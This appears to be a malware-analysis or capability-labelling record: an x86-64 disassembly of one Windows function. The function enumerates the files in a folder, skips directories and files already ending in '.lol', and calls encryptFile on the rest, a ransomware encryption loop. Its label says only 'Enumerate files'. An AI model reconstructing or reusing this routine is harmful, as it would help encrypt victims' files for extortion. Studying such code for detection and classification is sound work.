Function at 0x1400019e3
Capabilities:
Enumerate files on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x220
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1c0], rcx
mov qword [rbp + 0x1c8], rdx
lea rax, [rbp + 0x120]
lea r8, [0x1400b60a2]
mov rdx, qword [rbp + 0x1c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp + 0x120]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x198], rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp qword [rbp + 0x198], 0xffffffffffffffff
jne 0x140001a68
nop
jmp 0x140001cde
lea rax, [rbp + 0x14f]
mov rcx, rax
call fcn.1400655b0
lea rcx, [rbp + 0x14f]
lea rax, [rbp - 0x20]
lea rdx, [rax + 0x2c]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x14f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
lea rdx, [0x1400b60a5]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001ad9
lea rax, [rbp - 0x60]
lea rdx, [0x1400b60a7]
mov rcx, rax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001ad9
mov eax, 1
jmp 0x140001ade
mov eax, 0
test al, al
je 0x140001bf8
lea rax, [rbp + 0x150]
lea r8, [0x1400b60aa]
mov rdx, qword [rbp + 0x1c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x40]
lea rcx, [rbp - 0x60]
lea rdx, [rbp + 0x150]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, dword [rbp - 0x20]
and eax, 0x10
test eax, eax
jne 0x140001bdb
mov ebx, 0
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
cmp rax, 4
jbe 0x140001ba4
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
lea rcx, [rax - 4]
lea rax, [rbp + 0x170]
lea rdx, [rbp - 0x60]
mov r9, 0xffffffffffffffff
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
mov ebx, 1
lea rax, [rbp + 0x170]
lea rdx, str..lol
mov rcx, rax
call method.bool_std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
test al, al
je 0x140001ba4
mov esi, 1
jmp 0x140001ba9
mov esi, 0
test bl, bl
je 0x140001bbc
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test sil, sil
je 0x140001bc8
mov ebx, 0
jmp 0x140001be0
mov rdx, qword [rbp + 0x1c8]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.encryptFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::vector_unsigned_char__std::allocator_unsigned_char____const_
mov ebx, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
je 0x140001bf8
mov ebx, 0
jmp 0x140001bfd
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x198]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileA]
call rax
test eax, eax
setne al
test al, al
je 0x140001c31
jmp 0x140001a68
mov rax, qword [rbp + 0x198]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
jmp 0x140001cde
add rsp, 0x220
pop rbx
pop rsi
pop rbp
ret